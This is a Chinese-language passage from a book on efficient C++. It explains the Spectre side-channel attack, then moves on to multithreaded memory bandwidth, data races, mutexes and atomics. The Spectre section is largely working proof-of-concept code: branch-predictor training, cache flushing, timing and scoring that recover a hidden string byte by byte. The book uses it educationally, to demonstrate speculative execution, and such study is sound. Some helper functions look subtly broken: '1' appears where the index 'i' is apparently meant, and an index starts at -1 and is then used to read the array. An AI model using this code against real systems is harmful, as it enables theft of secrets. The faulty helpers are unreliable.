Spectre 背后的想法是这样的。我们早些时候已经了解到,当 CPU 遇到条件跳转指令时,它会尝试预测结果,并继续执行假设预测是正确的指令。这被称为推测执行,如果没有它,我们在任何实际有用的代码中都不会有流水线。推测执行的棘手部分是错误处理:在推测执行的代码中经常发生错误,但在预测被证明正确之前,这些错误必须保持不可见。最明显的例子是空指针解引用:如果处理器预测指针不为空并执行相应的分支,那么每次分支被错误预测并且指针实际上为空时,都会发生致命错误。由于代码被正确编写以避免对空指针进行解引用,它也必须正确执行:潜在错误必须保持潜在。另一个常见的推测性错误是数组边界读取或写入:

int a[N];
   …
if (i < N) a[i] = …

如果索引i通常小于数组大小N,那么这将成为预测,并且每次都会执行对a[i]的读取,具有推测性。如果预测错误会发生什么?结果被丢弃,所以没有造成伤害,对吧?不要那么快:内存位置a[i]不在原始数组中。它甚至不必是数组右后面的元素。索引可以任意大,因此索引的内存位置可能属于不同的程序,甚至属于操作系统。我们没有访问权限来读取这个内存。操作系统确实执行访问控制,因此通常尝试从另一个程序读取一些内存会触发错误。但这次,我们并不确定错误是否真实:执行仍处于推测阶段,分支预测可能是错误的。在我们知道预测是否正确之前,错误仍然是推测性错误。到目前为止,这里没有什么新鲜的;我们早就见过这一切。

然而,对于潜在的非法读取操作存在一个微妙的副作用:值a[i]被加载到缓存中。下次我们尝试从相同位置读取时,读取速度会更快。无论读取是真实的还是推测的,内存操作在推测执行期间的工作方式与真实操作一样。从主内存读取需要更长的时间,而从缓存读取则更快。内存加载的速度是我们可以观察和测量的。这不是程序的预期结果,但仍然是一个可测量的副作用。实际上,程序通过意外的方式具有了额外的输出机制;这被称为侧信道

Spectre 攻击利用了这个侧信道:

图 4.17 – 设置 Spectre 攻击

图 4.17 – 设置 Spectre 攻击

它使用在推测执行期间获得的位置a[i]的值来索引另一个数组t。完成后,一个数组元素t[a[i]]将被加载到缓存中。数组t的其余部分从未被访问过,仍然在内存中。请注意,与元素a[i]不同,后者实际上不是数组a的元素,而是我们无法通过任何合法手段到达的内存位置的某个值,数组t完全在我们的控制范围内。攻击的成功与否取决于分支保持足够长时间的不可预测性,同时我们读取值a[i]和值t[a[i]]。否则,一旦 CPU 检测到分支被错误预测,并且实际上不需要任何这些内存访问,推测执行将立即结束。推测执行完成后,最终会检测到错误预测,并且将回滚推测操作的所有后果,包括将要发生的内存访问错误。除了一个后果:数组t[a[i]]的值仍然在缓存中。这本身并没有问题:访问这个值是合法的,我们可以随时这样做,而且无论如何,硬件一直在缓存之间移动数据;它从不改变结果,也不会让你访问任何你不应该访问的内存。

然而,这整个系列事件的一个可观察的后果是:数组t的一个元素比其余元素访问速度要快得多:

图 4.18 – Spectre 攻击后的内存和缓存状态

图 4.18 – Spectre 攻击后的内存和缓存状态

如果我们可以测量读取数组t的每个元素所需的时间,我们就可以找出由值a[i]索引的那个元素;这就是我们本不应该知道的秘密值!

Spectre by example

Spectre 攻击需要几个部分来组合;我们将逐一介绍它们,因为总的来说,这对于一本书来说是一个相当大的编码示例(这个特定的实现是根据 2018 年 CPPCon 上 Chandler Carruth 给出的示例进行的变体)。

我们需要的一个组件是一个准确的计时器。我们可以尝试使用 C++高分辨率计时器:

using std::chrono::duration_cast;
using std::chrono::nanoseconds;
using std::chrono::high_resolution_clock;
long get_time() {
    return duration_cast< nanoseconds>(
        high_resolution_clock::now().time_since_epoch()
        ).count();
}

这个计时器的开销和分辨率取决于实现;标准不要求任何特定的性能保证。在 x86 CPU 上,我们可以尝试使用时间戳计数器TSC),它是一个硬件计数器,计算自过去某个时间点以来的周期数。使用循环计数作为计时器通常会导致测量结果更加嘈杂,但计时器本身更快,这在这里很重要,因为我们将尝试测量从内存中加载单个值需要多长时间。GCC、Clang 和许多其他编译器都有一个内置函数来访问这个计数器:

long get_time() {
    unsigned int i;
    return __rdtscp(&i);  // GCC/Clang intrinsic function
}

无论如何,我们现在有了一个快速的计时器。下一步是计时数组。实际上,它并不像我们在图中暗示的那样简单,只是一个整数数组:整数在内存中太靠近了;将一个加载到缓存中会影响访问其邻居所需的时间。我们需要将值远远地分开:

constexpr const size_t num_val = 256;
struct timing_element { char s[1024]; };
static timing_element timing_array[num_val];
::memset(timing_array, 1, sizeof(timing_array));

在这里,我们将只使用timing_element的第一个字节;其余的是为了在内存中强制距离。1024 字节的距离并没有什么神奇之处;它只是足够大,但对于你来说,这是需要通过实验来确定的:如果距离太小,攻击就会变得不可靠。计时数组中有 256 个元素。这是因为我们将逐字节读取秘密内存。因此,在我们之前的例子中,数组a[i]将是一个字符数组(即使实际的数据类型不是char,我们仍然可以逐字节读取它)。初始化计时数组在严格意义上来说并不是必要的;没有任何东西依赖于这个数组的内容。

我们现在准备看代码的核心。接下来是一个简化的实现:它缺少一些我们将在后面添加的必要的细节,但通过首先关注关键部分来解释代码会更容易一些。

我们需要的数组是我们将要越界读取的。

size_t size = …;
const char* data = …;
size_t evil_index = …;

这里sizedata的真实大小,evil_index大于size:它是数据数组之外的秘密值的索引。

接下来,我们将训练分支预测器:我们需要它学会更有可能的分支是访问数组的分支。为此,我们生成一个始终指向数组的有效索引(我们马上就会看到确切的方法)。这就是我们的ok_index

const size_t ok_index = …; // Less than size
constexpr const size_t n_read = 100;
for (size_t i_read = 0; i_read < n_read; ++i_read) {
    const size_t i = (i_read & 0xf) ? ok_index : evil_index;
    if (i < size) {
        access_memory(timing_array + data[i]);
    }
}

然后我们读取位置timing_array + data[i]处的内存,其中i要么是ok索引,要么是evil索引,但前者发生的频率要比后者高得多(我们尝试读取秘密数据只有 16 次中的一次,以保持分支预测器对成功读取的训练)。请注意,实际的内存访问受到有效的边界检查的保护;这是至关重要的:我们从未真正读取我们不应该读取的内存;这段代码是 100%正确的。

访问内存的函数,在概念上只是一个内存读取。实际上,我们必须应对聪明的优化编译器,它会尝试消除多余或不必要的内存操作。这是一种方法,它使用内在的汇编语言(读取指令实际上是由编译器生成的,因为位置*p被标记为输入):

void access_memory(const void* p) {
    __asm__ __volatile__ ( "" : : 
        "r"(*static_cast<const uint8_t*>(p)) : "memory" );
}

我们运行预测-误判循环多次(在我们的例子中是100次)。现在我们期望timing_array中的一个元素在缓存中,所以我们只需要测量访问每个元素所需的时间。这里的一个注意事项是,顺序访问整个数组是行不通的:预取会迅速启动并将我们即将访问的元素移入缓存。大多数情况下非常有效,但不是我们现在需要的。相反,我们必须以随机顺序访问数组的元素,并将访问每个元素所需的时间存储在内存访问延迟数组中:

std::array<long, num_val> latencies = {};
for (size_t i = 0; i < num_val; ++i) {
    const size_t i_rand = (i*167 + 13) & 0xff;  // Randomized
    const timing_element* const p = timing_array + i_rand;
    const long t0 = get_time();
    access_memory(p);
    latencies[i_rand] = get_time() - t0;
}

你可能会想,为什么不简单地寻找一个快速访问?有两个原因:首先,我们不知道对于任何特定的硬件来说快速到底意味着什么;我们只知道它比正常更快。因此,我们也必须测量什么是正常。其次,任何单独的测量都不会是 100%可靠的:有时,计算会被另一个进程或操作系统中断;整个操作序列的确切时间取决于 CPU 在此时正在做什么,等等。这个过程只是很有可能会揭示秘密内存位置的值,但并不是 100%保证的,所以我们必须尝试多次并平均结果。

在执行此操作之前,我们看到代码中有几个遗漏。首先,它假设定时数组值尚未在缓存中。即使在我们开始时是真的,但在成功窥视第一个秘密字节之后,它也不会是真的。我们必须在攻击下一个要读取的字节之前每次都从缓存中清除定时数组:

for (size_t i = 0; i < num_val; ++i) {
    _mm_clflush(timing_array + i);    // Un-cache the array
}

再次,我们使用 GCC/Clang 内置函数;大多数编译器都有类似的东西,但函数名称可能会有所不同。

其次,攻击只有在推测执行持续时间足够长,以便在 CPU 弄清楚应该采取哪个分支之前发生两次内存访问(数据和定时数组)时才能生效。实际上,按照现有的代码,推测执行上下文中的时间不够长,因此我们必须使得计算正确分支更加困难。有多种方法可以做到这一点;在这里,我们使分支条件依赖于从内存中读取某个值。我们将数组大小复制到另一个访问速度较慢的变量中:

std::unique_ptr<size_t> data_size(new size_t(size));

现在我们必须确保在我们需要读取它之前将该值从缓存中清除,并使用存储在*data_size中的数组大小值,而不是原始的size值:

_mm_clflush(&*data_size);
for (volatile int z = 0; z < 1000; ++z) {}  // Delay
const size_t i = (i_read & 0xf) ? ok_index : evil_index;
if (i < *data_size) {
    access_memory(timing_array + data[i]);
}

在前面的代码中还有一个神奇的延迟,一些无用的计算将缓存刷新与数据大小的访问分开(它击败了可能的指令重排序,让 CPU 更快地访问数组大小)。现在条件i < *data_size需要一些时间来计算:CPU 需要在知道结果之前从内存中读取值。分支根据更可能的结果进行预测,即有效索引,因此数组被进行了推测性访问。

幽灵,释放

最后一步是将所有内容汇总并多次运行该过程,以积累统计上可靠的测量数据(鉴于单个指令的定时测量非常嘈杂,因为计时器本身所需的时间大约与我们试图测量的时间一样长)。

以下函数攻击数据数组之外的单个字节:

char spectre_attack(const char* data, 
                    size_t size, size_t evil_index) {
  constexpr const size_t num_val = 256;
  struct timing_element { char s[1024]; };
  static timing_element timing_array[num_val];
  ::memset(timing_array, 1, sizeof(timing_array));
  std::array<long, num_val> latencies = {};
  std::array<int, num_val> scores = {};
  size_t i1 = 0, i2 = 0;      // Two highest scores
  std::unique_ptr<size_t> data_size(new size_t(size));
  constexpr const size_t n_iter = 1000;
  for (size_t i_iter = 0; i_iter < n_iter; ++i_iter) {
    for (size_t i = 0; i < num_val; ++i) {
      _mm_clflush(timing_array + i);  // Un-cache the array
    }
    const size_t ok_index = i_iter % size;
    constexpr const size_t n_read = 100;
    for (size_t i_read = 0; i_read < n_read; ++i_read) {
      _mm_clflush(&*data_size);
      for (volatile int z = 0; z < 1000; ++z) {}  // Delay
      const size_t i = (i_read & 0xf) ? ok_index : 
        evil_index;
      if (i < *data_size) {
        access_memory(timing_array + data[i]);
      }
    }
    for (size_t i = 0; i < num_val; ++i) {
      const size_t i_rand = (i*167 + 13) & 0xff;
       // Randomized
      const timing_element* const p = timing_array + 
        i_rand;
      const long t0 = get_time();
      access_memory(p);
      latencies[i_rand] = get_time() - t0;
    }
    score_latencies(latencies, scores, ok_index);
    std::tie(i1, i2) = best_scores(scores);
    constexpr const int threshold1 = 2, threshold2 = 100;
    if (scores[i1] > 
       scores[i2]*threshold1 + threshold2) return i1;
  }
  return i1;
}

对于定时数组的每个元素,我们将计算一个分数,即该元素成为最快访问的次数。我们还跟踪第二快的元素,它应该只是常规的、访问速度较慢的数组元素之一。我们会进行多次迭代:理想情况下,直到获得结果,但实际上,我们必须在某个时候放弃。

一旦最佳分数和次佳分数之间出现足够大的差距,我们就知道我们已经可靠地检测到了定时数组的元素,即由secret字节的值索引的元素(如果我们在达到最大迭代次数之前没有得到可靠的答案,攻击就失败了,尽管我们可以尝试使用到目前为止最好的猜测)。

我们有两个实用函数来计算延迟的平均分数并找到两个最佳分数;只要它们能给出正确的结果,可以按任何方式实现。第一个函数计算平均延迟并增加具有略低于平均延迟的时间元素的分数(略低的阈值必须经过实验调整,但不太敏感)。请注意,我们希望一个数组元素的访问速度明显更快,因此在计算平均延迟时可以跳过它(理想情况下,该元素的延迟应比其余元素低得多,其余元素的延迟应该都相同):

template <typename T> 
double average(const T& a, size_t skip_index) {
    double res = 0;
    for (size_t i = 0; i < a.size(); ++i) {
        if (1 != skip_index) res += a[i];
    }
    return res/a.size();
}
template <typename L, typename S> 
void score_latencies(const L& latencies, S& scores, 
                     size_t ok_index) {
  const double average_latency = 
    average(latencies, ok_index);
  constexpr const double latency_threshold = 0.5;
  for (size_t i = 0; i < latencies.size(); ++i) {
    if (ok_index != 1 && latencies[i] <
        average_latency*latency_threshold) ++scores[i];
  }
}

第二个函数只是在数组中找到两个最佳分数:

template<typename S> 
std::pair<size_t, size_t> best_scores(const S& scores) {
  size_t i1 = -1, i2 = -1;
  for (size_t i = 0; i < scores.size(); ++i) {
    if (scores[i] > scores[i1]) {
      i2 = i1;
      i1 = i;
    } else 
      if (i != i1 && scores[i] > scores[i2]) {
          i2 = i;
      }
    }
    return { i1, i2 };
}

现在我们有一个函数,它返回指定数组之外的单个字节的值,而不是直接读取这个字节。我们准备使用它来访问一些秘密数据!为了演示,我们将分配一个非常大的数组,但通过指定一个小值作为数组大小,大部分数组都被禁止访问。实际上,这是你今天可以演示这种攻击的唯一方式:自发现以来,大多数计算机已经修补了 Spectre 漏洞,因此,除非你有一台隐藏在山洞中并且几年没有更新的机器,否则这种攻击不会对你真正不允许访问的任何内存起作用。这些补丁并不会阻止你使用 Spectre 攻击你被允许访问的任何数据,但你必须检查代码并证明它确实返回值而不是直接访问内存。这就是我们要做的:我们的spectre_attack函数不会读取指定大小的数据数组之外的任何内存,因此我们可以创建一个大小是指定大小两倍的数组,并将秘密消息隐藏在上半部分。

int main() {
    constexpr const size_t size = 4096;
    char* const data = new char[2*size];
    strcpy(data, "Innocuous data");
    strcpy(data + size, "Top-secret information");
    for (size_t i = 0; i < size; ++i) {
        const char c =
            spectre_attack(data, strlen(data) + 1, size + 
                i);
        std::cout << c << std::flush;
        if (!c) break;
    }
    std::cout << std::endl;
    delete [] data;
}

再次检查我们给spectre_attack函数的值:数组的大小只是存储在数组中的字符串的长度;代码除了在推测执行上下文中以外,不会访问任何其他内存。所有内存访问都受到正确的边界检查的保护。然而,这个程序逐字节地揭示了第二个字符串的内容,而这个字符串从未被直接读取。

总之,我们利用了推测执行上下文来窥视我们不允许访问的内存。因为访问该内存的分支条件是正确的,所以无效访问错误仍然是一个潜在错误;它实际上从未发生过。所有错误预测分支的结果都被撤消,除了一个:被访问的值仍然留在缓存中,因此对相同值的下一次访问会更快。通过仔细测量内存访问时间,我们可以弄清楚那个值是什么!为什么我们这样做,当我们关心的是性能,而不是黑客行为?主要是为了确认处理器和内存确实按照我们描述的方式运行:推测执行确实发生,缓存确实起作用并使数据访问更快。

总结

在本章中,我们学习了内存系统的工作原理:简而言之,缓慢。CPU 和内存性能的差异造成了内存差距,快速的 CPU 受到内存性能低下的限制。但内存差距中也蕴含着潜在解决方案的种子:我们可以用多个 CPU 操作来交换一个内存访问。

我们还进一步了解到,内存系统非常复杂和分层,并且它没有单一的速度。如果最终陷入最坏情况,这可能会严重影响程序的性能。但是,再次强调,关键是将其视为一种机会而不是负担:优化内存访问所带来的收益可能会远远超过开销。

正如我们所看到的,硬件本身提供了几种工具来改善内存性能。除此之外,我们必须选择内存高效的数据结构,如果仅靠这一点还不够,还要选择内存高效的算法来提高性能。和往常一样,所有性能决策都必须受到测量的指导和支持。

到目前为止,我们所做的和测量的一切都是使用单个 CPU。实际上,自介绍的前几页以来,我们几乎没有提到今天几乎每台计算机都有多个 CPU 核心,通常还有多个物理处理器。这样做的原因非常简单:我们必须学会有效地使用单个 CPU,然后才能转向更复杂的多 CPU 问题。从下一章开始,我们将把注意力转向并发问题,以及如何有效地使用大型多核和多处理器系统。

问题

  1. 什么是内存差距?

  2. 哪些因素影响了观察到的内存速度?

  3. 我们如何找到程序中访问内存是性能不佳的主要原因的地方?

  4. 有哪些主要的优化程序以获得更好的内存性能的方法?

第五章:线程、内存和并发性

到目前为止,我们已经研究了单个 CPU 执行一个程序,一个指令序列的性能。在第一章的介绍中,性能和并发性简介,我们提到这不再是我们生活的世界,然后再也没有涉及这个主题。相反,我们研究了单线程程序在单个 CPU 上运行的性能的每个方面。现在我们已经学会了关于单个线程性能的所有知识,并准备好研究并发程序的性能。

在本章中,我们将涵盖以下主要主题:

  • 线程概述

  • 多线程和多核内存访问

  • 数据竞争和内存访问同步

  • 锁和原子操作

  • 内存模型

  • 内存顺序和内存屏障

技术要求

同样,您将需要一个 C++编译器和一个微基准测试工具,比如我们在上一章中使用的 Google Benchmark 库(在github.com/google/benchmark找到)。

本章的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter05找到。

理解线程和并发性

今天所有高性能计算机都有多个 CPU 或多个 CPU 核心(单个封装中的独立处理器)。即使大多数笔记本电脑也至少有两个,通常是四个核心。正如我们多次提到的,在性能方面,效率就是不让任何硬件空闲;如果程序只使用了计算能力的一部分,比如多个 CPU 核心中的一个,那么它就不能高效或高性能。程序要同时使用多个处理器的唯一方法是:我们必须运行多个线程或进程。顺便说一句,这并不是利用多个处理器为用户带来好处的唯一方法:例如,很少有笔记本电脑用于高性能计算。相反,它们使用多个 CPU 来更好地同时运行不同和独立的程序。这是一个完全合理的使用模式,只是不是我们在高性能计算的背景下感兴趣的。HPC 系统通常一次在每台计算机上运行一个程序,甚至在分布式计算的情况下,一次在许多计算机上运行一个程序。一个程序如何使用多个 CPU?通常,程序运行多个线程。

什么是线程?

线程是一系列指令,可以独立于其他线程执行。多个线程在同一个程序中同时运行。所有线程共享同一内存,因此,根据定义,同一进程的线程在同一台机器上运行。我们已经提到 HPC 程序也可以由多个进程组成。分布式程序在多台机器上运行,并利用许多独立的进程。分布式计算的主题超出了本书的范围:我们正在学习如何最大化每个进程的性能。

那么,关于多线程的性能,我们能说些什么呢?首先,只有当系统有足够的资源来同时执行多个指令序列时,同时执行多个指令序列才是有益的。否则,操作系统只是在不同的线程之间切换,以允许每个线程执行一个时间片。

在单个处理器上,一个忙于计算的线程提供了处理器可以处理的工作量。即使线程没有使用所有的计算单元或者在等待内存访问,这也是真实的:处理器一次只能执行一个指令序列 - 它只有一个程序计数器。现在,如果线程在等待某些东西,比如用户输入或网络流量,CPU 是空闲的,可以在不影响第一个线程性能的情况下执行另一个线程。再次强调,操作系统处理线程之间的切换。需要注意的是,在这种情况下,等待内存不算是等待:当线程在等待内存时,执行一个指令需要更长的时间。当线程在等待 I/O 时,它必须进行操作系统调用,然后被操作系统阻塞,直到操作系统唤醒它来处理数据。

所有进行大量计算的线程都需要足够的资源,如果目标是使程序整体更加高效。通常,当我们考虑线程的资源时,我们会想到多个处理器或处理器核心。但通过并发性也有其他增加资源利用率的方法,我们将很快看到。

对称多线程

我们在整本书中多次提到,处理器有大量的计算硬件,大多数程序很少(如果有的话)会全部使用:程序中的数据依赖限制了处理器在任何时候可以进行多少计算。如果处理器有多余的计算单元,它不能同时执行另一个线程以提高效率吗?这就是对称多线程SMT)的理念,也被称为超线程

支持 SMT 的处理器有一组寄存器和计算单元,但有两个(或更多)程序计数器,以及维护运行线程状态的额外副本的任何其他硬件(具体实现因处理器而异)。最终结果是:单个处理器对操作系统和程序来说看起来像是两个(通常)或更多个独立的处理器,每个都能运行一个线程。实际上,所有在一个 CPU 上运行的线程都竞争共享的内部资源,比如寄存器。如果每个线程没有充分利用这些共享资源,SMT 可以提供显著的性能提升。换句话说,它通过运行多个这样的线程来弥补一个线程的低效率。

实际上,大多数支持 SMT 的处理器可以运行两个线程,性能提升的幅度差异很大。很少见到 100%的加速(两个线程都以全速运行)。通常,实际的加速在 25%到 50%之间(第二个线程实际上以四分之一到半的速度运行),但有些程序根本没有加速。在本书中,我们不会特别对待 SMT 线程:对于程序来说,SMT 处理器看起来就像两个处理器,我们对两个真实线程在不同核心上运行的性能所说的任何事情同样适用于在同一个核心上运行的两个线程的性能。最终,你必须测量运行比物理核心更多的线程是否为程序提供了任何加速,并根据这一点决定要运行多少线程。

无论我们是共享整个物理核心还是由 SMT 硬件创建的逻辑核心,并发程序的性能在很大程度上取决于线程能够独立工作的程度。这首先取决于算法和工作在线程之间的分配;这两个问题有数百本专门的书籍来讨论,但超出了本书的范围。相反,我们现在专注于影响线程交互并决定特定实现成功或失败的基本因素。

线程和内存

由于在多个计算线程之间进行时间分片对 CPU 没有性能优势,我们可以假设在本章的其余部分中,在每个处理器核心上运行一个 HPC 线程(或者在 SMT 处理器提供的每个逻辑核心上运行一个线程)。只要这些线程不竞争任何资源,它们就完全独立运行,并且我们可以享受完美的加速:两个线程将在相同的时间内完成两倍于一个线程所能完成的工作。如果工作可以完美地在两个线程之间分配,而不需要它们之间的任何交互,那么两个线程将在一半的时间内解决问题。

这种理想的情况确实会发生,但并不经常;更重要的是,如果发生了,你已经准备好从你的程序中获得最佳性能:你知道如何优化单个线程的性能。

编写高效并发程序的难点在于当不同线程执行的工作不完全独立时,线程开始竞争资源。但如果每个线程都充分利用其 CPU,那么还有什么可以竞争的呢?剩下的就是内存,它在所有线程之间共享,因此是一个共同的资源。这就是为什么对多线程程序性能的探索几乎完全集中在线程之间通过内存交互引起的问题上。

编写高性能并发程序的另一个方面是在组成程序的线程和进程之间分配工作。但要了解这一点,你必须找一本关于并行编程的书。

事实证明,内存,已经是性能的长杆,在添加并发性后更加成为问题。虽然硬件施加的基本限制是无法克服的,但大多数程序的性能远未接近这些限制,而且熟练的程序员有很大的空间来提高其代码的效率;本章为读者提供了必要的知识和工具。

让我们首先检查在存在线程的情况下内存系统的性能。我们以与上一章相同的方式进行,通过测量读取或写入内存的速度,只是现在我们使用多个线程同时读取或写入。我们从每个线程都有自己的内存区域来访问的情况开始。我们不在线程之间共享任何数据,但我们在共享硬件资源,比如内存带宽。

内存基准本身与我们之前使用的基本相同。实际上,基准函数本身完全相同。例如,要对顺序读取进行基准测试,我们使用这个函数:

template <class Word>
void BM_read_seq(benchmark::State& state) {
     const size_t size = state.range(0);
     void* memory = ::malloc(size);
     void* const end = static_cast<char*>(memory) + size;
     volatile Word* const p0 = static_cast<Word*>(memory);
     Word* const p1 = static_cast<Word*>(end);
     for (auto _ : state) {
           for (volatile Word* p = p0; p != p1; ) {
                 REPEAT(benchmark::DoNotOptimize(*p++);)
           }
           benchmark::ClobberMemory();
     }
     ::free(memory);
     state.SetBytesProcessed(size*state.iterations());
     state.SetItemsProcessed((p1 - p0)*state.iterations());
}

请注意,内存是在基准函数内分配的。如果这个函数从多个线程中调用,每个线程都有自己的内存区域进行读取。这正是谷歌基准库在运行多线程基准测试时所做的。要在多个线程上运行基准测试,只需要使用正确的参数:

#define ARGS ->RangeMultiplier(2)->Range(1<<10, 1<<30) \
     ->Threads(1)->Threads(2)
BENCHMARK_TEMPLATE1(BM_read_seq, unsigned long) ARGS;

您可以为不同的线程计数指定尽可能多的运行次数,或者使用ThreadRange()参数生成 1、2、4、8、...线程的范围。您必须决定要使用多少个线程;对于 HPC 基准测试,一般来说,没有理由超过您拥有的 CPU 数量(考虑 SMT)。其他内存访问模式的基准测试,比如随机访问,也是以相同的方式进行的;您已经在上一章中看到了代码。对于写入,我们需要一些内容来写入;任何值都可以:

     Word fill; ::memset(&fill, 0xab, sizeof(fill));
     for (auto _ : state) {
           for (volatile Word* p = p0; p != p1; ) {
                 REPEAT(benchmark::DoNotOptimize(*p++ = 
                   fill);)
           }
           benchmark::ClobberMemory();
     }

现在是展示结果的时候了。例如,这是顺序写入的内存吞吐量:

图 5.1 - 64 位整数顺序写入的内存吞吐量(每纳秒字数)作为内存范围的函数,线程数为 1 到 16

图 5.1-64 位整数的顺序写入的内存吞吐量(每纳秒字数)作为内存范围的函数,为 1 到 16 个线程

总体趋势对我们来说已经很熟悉:我们看到与缓存大小相对应的速度跳跃。现在我们关注不同线程数量的曲线之间的差异。我们有 1 到 16 个线程的结果(用于收集这些测量数据的机器确实至少有 16 个物理 CPU 核心)。让我们从图的左侧开始。在这里,速度受到 L1 缓存(最多 32 KB)的限制,然后是 L2 缓存(256 KB)。这个处理器为每个核心都有单独的 L1 和 L2 缓存,因此只要数据适合 L2 缓存,线程之间就不应该有任何交互,因为它们不共享任何资源:每个线程都有自己的缓存。实际上,这并不完全正确,即使对于小内存范围,仍然有其他共享的 CPU 组件,但几乎是正确的:2 个线程的吞吐量是 1 个线程的两倍,4 个线程的写入速度再次快两倍,16 个线程几乎比 4 个线程快 4 倍。

随着我们超过 L2 缓存的大小并进入 L3 缓存,然后是主内存,图片发生了巨大的变化:在这个系统上,L3 缓存是所有 CPU 核心共享的。主内存也是共享的,尽管不同的内存 bank更接近不同的 CPU(非均匀内存架构)。对于 1、2 甚至 4 个线程,吞吐量继续随着线程数量增加而增加:主内存似乎有足够的带宽,可以支持最多 4 个处理器以全速写入。然后情况变得更糟:当我们从 6 个线程增加到 16 个线程时,吞吐量几乎不再增加。我们已经饱和了内存总线:它无法更快地写入数据。

如果这还不够糟糕,请考虑这些结果是在撰写时的最新硬件上获得的(2020 年)。在 2018 年,作者在他的一堂课上呈现的同一张图表如下:

图 5.2-较旧(2018 年)CPU 的内存吞吐量

图 5.2-较旧(2018 年)CPU 的内存吞吐量

这个系统有一个内存总线,只需两个线程就可以完全饱和。让我们看看这个事实对并发程序性能的影响。

内存绑定程序和并发性

相同的结果可以以不同的方式呈现:通过绘制每个线程的内存速度与相对于一个线程的线程数量的图,我们专注于并发对内存速度的影响。

图 5.3-内存吞吐量,相对于单个线程的吞吐量,与线程计数

图 5.3-内存吞吐量,相对于单个线程的吞吐量,与线程计数

通过对内存速度进行归一化,使得单个线程的速度始终为 1,我们更容易看到对于适合 L1 或 L2 缓存的小数据集,每个线程的内存速度几乎保持不变,即使对于 16 个线程(每个线程的写入速度为其单线程速度的 80%)。然而,一旦我们跨入 L3 缓存或超过其大小,速度在 4 个线程后下降。从 8 到 16 个线程只提供了极小的改善。系统中没有足够的带宽来快速写入数据到内存。

不同内存访问模式的结果看起来很相似,尽管读取内存的带宽通常比写入内存的带宽略微好一些。

我们可以看到,如果我们的程序在单线程情况下受到内存限制,因此其性能受到将数据移动到和从主内存的速度的限制,那么我们可以期望从并发中获得的性能改进有一个相当严格的限制。如果你认为这不适用于你,因为你没有昂贵的 16 核处理器,那么请记住,更便宜的处理器配备了更便宜的内存总线,因此大多数 4 核系统也没有足够的内存带宽来满足所有核心。

对于多线程程序来说,避免成为内存限制更加重要。在这里有用的实现技术包括分割计算,这样更多的工作可以在适合 L1 或 L2 缓存的较小数据集上完成;重新排列计算,这样更多的工作可以通过更少的内存访问完成,通常会重复一些计算;优化内存访问模式,使内存按顺序访问而不是随机访问(尽管两种访问模式都可以饱和,但顺序访问的总带宽要大得多,因此对于相同数量的数据,如果使用随机访问,程序可能会受到内存限制,而如果使用顺序访问,则根本不受内存速度限制)。如果仅靠实现技术是不够的,无法产生期望的性能改进,下一步就是调整算法以适应并发编程的现实:许多问题有多种算法,它们在内存需求上有所不同。单线程程序的最快算法通常可以被另一个更适合并发性的算法超越:虽然我们在单线程执行速度上失去了一些,但我们通过可扩展执行的蛮力来弥补。

到目前为止,我们假设每个线程都完全独立于所有其他线程地完成自己的工作。线程之间的唯一交互是间接的,由于争夺内存带宽等有限资源。这是最容易编写的程序类型,但大多数现实生活中的程序都不允许这种限制。这带来了一整套全新的性能问题,现在是我们学习它们的时候了。

理解内存同步的成本

最后一节讨论了在同一台机器上运行多个线程而这些线程之间没有任何交互。如果你可以以一种使这种实现成为可能的方式来分割程序的工作,那么请务必这样做。你无法击败这种尴尬并行程序的性能。

往往,线程必须相互交互,因为它们正在为一个共同的结果做出贡献。这种交互是通过线程通过它们共享的唯一资源——内存——相互通信来实现的。我们现在必须了解这种交互的性能影响。

让我们从一个简单的例子开始。假设我们想要计算许多值的总和。我们有许多数字要相加,但最终只有一个结果。我们有这么多数字要相加,以至于我们想要在几个线程之间分割添加它们的工作。但只有一个结果值,所以线程必须在添加到这个值时相互交互。

我们可以在微基准中重现这个问题:

unsigned long x {0};
void BM_incr(benchmark::State& state) {
     for (auto _ : state) {
           benchmark::DoNotOptimize(++x);
     }
}
BENCHMARK(BM_incr)->Threads(2);

为简单起见,我们总是将结果增加 1(添加整数的成本不取决于值,我们不想对生成不同值进行基准测试,只是对添加本身进行基准测试)。由于每个线程都调用基准函数,因此在此函数内声明的任何变量都独立存在于每个线程的堆栈上;这些变量根本不共享。为了有一个两个线程都能贡献的共同结果,变量必须在基准函数之外的文件范围内声明(一般来说这是个坏主意,但在微基准的非常有限的上下文中是必要且可以接受的)。

当然,这个程序的问题远不止全局变量:这个程序是错误的,其结果是未定义的。问题在于我们有两个线程增加相同的值。增加一个值是一个 3 步过程:程序从内存中读取值,在寄存器中增加它,然后将新值写回内存。完全有可能两个线程同时读取相同的值(0),在每个处理器上分别增加它(1),然后写回。第二个写入的线程简单地覆盖了第一个线程的结果,经过两次增加,结果是 1 而不是 2。这两个线程竞争写入同一内存位置的情况被称为数据竞争。

现在你明白了为什么这样的无保护并发访问是一个问题,你可能会忘记它;相反,遵循这个一般规则:如果一个程序从多个线程访问相同的内存位置而没有同步,并且其中至少有一个访问是写入的,那么该程序的结果是未定义的。这是非常重要的:你不需要确切地弄清楚为了结果是不正确而必须发生的操作序列。事实上,在这种推理中根本没有任何收获。任何时候你有两个或更多的线程访问相同的内存位置,除非你能保证两件事中的一件:要么所有访问都是只读的,要么所有访问都使用正确的内存同步(我们还要学习)。

我们计算总和的问题要求我们将答案写入结果变量,因此访问肯定不是只读的。内存访问的同步通常由互斥锁提供:每次访问线程之间共享的变量都必须由互斥锁保护(当然,对于所有线程来说,必须是相同的互斥锁)。

unsigned long x {0};
std::mutex m;
{ // Concurrent access happens here
     std::lock_guard<std::mutex> guard(m);
     ++x;
}

锁卫在其构造函数中锁定互斥锁,并在析构函数中解锁它。一次只有一个线程可以拥有锁,因此增加共享结果变量。其他线程在锁上被阻塞,直到第一个线程释放它。请注意,只要至少有一个线程修改变量,所有访问都必须被锁定,包括读取和写入。

锁是确保多线程程序正确性的最简单方法,但从性能的角度来看,它们并不是最容易研究的东西。它们是相当复杂的实体,通常涉及系统调用。我们将从一个在这种特定情况下更容易分析的同步选项开始:原子变量。

C++给了我们一个选项,可以声明一个变量为原子变量。这意味着对这个变量的所有支持的操作都作为单个、不可中断的原子事务执行:观察这个变量的任何其他线程都会在原子操作之前或之后看到它的状态,但永远不会在操作中间。例如,在 C++中,所有整数原子变量都支持原子增量操作:如果一个线程正在执行该操作,其他线程就无法访问该变量,直到第一个操作完成。这些操作需要特定的硬件支持:例如,原子增量是一个特殊的硬件指令,它读取旧值,增加它,并将新值作为单个硬件操作写入。

